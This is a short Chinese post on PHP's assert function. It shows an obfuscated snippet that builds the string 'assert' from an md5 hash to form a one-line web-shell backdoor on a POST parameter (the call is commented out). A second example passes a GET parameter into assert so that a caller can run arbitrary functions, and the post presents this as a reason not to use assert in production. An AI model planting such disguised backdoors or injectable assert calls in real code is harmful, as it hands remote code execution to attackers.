发现一个很有意思的小代码
assert 的另一个小隐藏代码
<?
$a=md5('ssss');
echo $a.'';
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
echo $z;
//$z($_POST['yunhua']);
?>
assert也有安全问题,这个也是不建议在生产环境使用assert的一个重要原因。请看如下代码:
<?php
function fo(){
file_put_contents('assert.php','www.csroad.cn');
return true;
}
$func = $_GET["func"];
assert("$func()");
?>